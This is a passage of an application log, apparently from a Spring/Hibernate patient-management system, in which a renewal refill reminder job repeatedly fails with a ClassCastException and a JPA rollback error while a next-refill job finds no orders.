org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 18:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 18:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 18:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 18:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 18:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 18:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 18:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 18:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 18:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 18:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 18:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 18:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 18:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 18:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 18:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 18:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 18:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 18:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 18:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 18:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 18:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 18:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 18:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 18:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 18:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 18:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 18:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 18:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 18:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 19:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at 